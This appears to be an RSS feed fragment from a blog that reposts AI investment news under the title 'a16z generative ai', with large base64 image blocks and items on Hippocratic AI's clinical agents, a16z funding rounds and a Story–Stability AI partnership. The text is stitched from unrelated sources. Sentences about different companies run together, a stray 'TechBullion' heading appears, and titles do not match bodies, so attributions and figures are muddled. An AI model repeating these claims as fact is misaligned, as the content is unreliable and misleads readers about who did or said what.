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" width="302px" alt="a16z generative ai"/></p>
<p><p>The startup was co-founded by Chief Executive Officer and serial entrepreneur Munjal Shah and a group of physicians, hospital administrators, healthcare professionals and AI researchers from organizations including El Camino Health LLC, Johns Hopkins University, Stanford University, Microsoft Corp., Google and Nvidia Corp. PIP Labs, an initial core contributor to the Story Network, is backed by investors including a16z crypto, Endeavor, and Polychain. Co-founded by a serial entrepreneur with a $440M exit and DeepMind’s youngest PM, PIP Labs boasts a veteran founding executive team with expertise in consumer tech, generative AI, and Web3 infrastructure. The startup has also created other AI agents for tasks like pre- and post-surgery wound care, extreme heat wave preparation, home health checks, diabetes screening and education, and many more besides. The startup said its AI Agent creators include Dr. Vanessa Dorismond MD, MA, MAS, a distinguished obstetrician and gynecologist at El Camino Women’s Medical Group and Teal Health, who helped to create an AI agent that’s focused on cervical cancer check-ins and enhancing patient education. According to the startup, the objective of these AI agents is to try and solve the massive shortage of trained nurses, social workers and nutritionists in the healthcare industry, both in the U.S. and globally.</p>
</p>
<p><h2>TechBullion</h2>
</p>
<p><p>The same day, a16z also led a Series A investment in Slingshot AI, which has raised a total of $40 million to create a foundation model for psychology. Those investments highlight the commitment of the group to using AI to address important issues and are also focusing on how AI can improve different industries, including healthcare and consumer services. In general, a16z is committed to supporting AI innovations that could have a profound impact on society. We are thrilled to see our models used in Story’s blockchain technology to ensure proper attribution and reward contributors,” said Scott Trowbridge, Vice President of Stability AI. Others include Kacie Spencer, DNP, RN, the chief nursing officer at Adtalem Global Education Inc., who has more than 20 years of experience in emergency nursing and clinical education. Her AI agent is focused on patient education for the proper installation of child car seats.</p>
</p>
<p><p>It participated in an Anysphere round that had the company raising $105 million on January 14, 2025, when it pushed the valuation up to $2.5 billion. Beyond this, it has also released a $500 million Biotech Ecosystem Venture Fund with Eli Lilly to place a focus on health technologies, but with the aspect of innovative applications. On the same day, they led a Series A investment in Slingshot AI, a company that&#8217;s developing advanced generative AI technology for mental health. Additionally, a16z invested in Raspberry AI to bring generative AI to the front of fashion design and production. In December 2024, they envisioned a future in which AI was used aggressively in nearly all sectors.</p>
</p>
<ul>
<li>The startup said its AI Agent creators include Dr. Vanessa Dorismond MD, MA, MAS, a distinguished obstetrician and gynecologist at El Camino Women’s Medical Group and Teal Health, who helped to create an AI agent that’s focused on cervical cancer check-ins and enhancing patient education.</li>
<li>Andreessen Horowitz, or a16z, is one of the leading AI investors and targets only innovative startups.</li>
<li>Hippocratic AI said it’s necessary to have clinicians onboard because they have, over the course of their careers, developed deep expertise in their respective fields, as well as the practical insights to help cure specific medical conditions and the clinical workflows involved.</li>
<li>It says clinicians can create an AI agent prototype that specializes in their area of focus in less than 30 minutes, and around three to four hours to develop one that can be tested.</li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://vibrantsumerpur.com/vibrant/a16z-generative-ai-7/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>a16z generative ai</title>
		<link>https://vibrantsumerpur.com/vibrant/a16z-generative-ai-8/</link>
					<comments>https://vibrantsumerpur.com/vibrant/a16z-generative-ai-8/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 28 Jul 2026 17:09:40 +0000</pubDate>
				<category><![CDATA[news]]></category>
		<guid isPermaLink="false">https://vibrantsumerpur.com/vibrant/?p=45882</guid>

					<description><![CDATA[Hippocratic AI raises $141M to staff hospitals with clinical AI agents Story Partners with Stability AI to Empower Open-Source Innovation for Creators and Developers Meanwhile, Kristina Dulaney, RN, PMH-C, the founder of Cherished Mom, an organization dedicated to solving maternal mental health challenges, helped to create an AI agent that’s focused on helping new mothers [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Hippocratic AI raises $141M to staff hospitals with clinical AI agents </p>
<h1>Story Partners with Stability AI to Empower Open-Source Innovation for Creators and Developers</h1>
</p>
<p><img decoding="async" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,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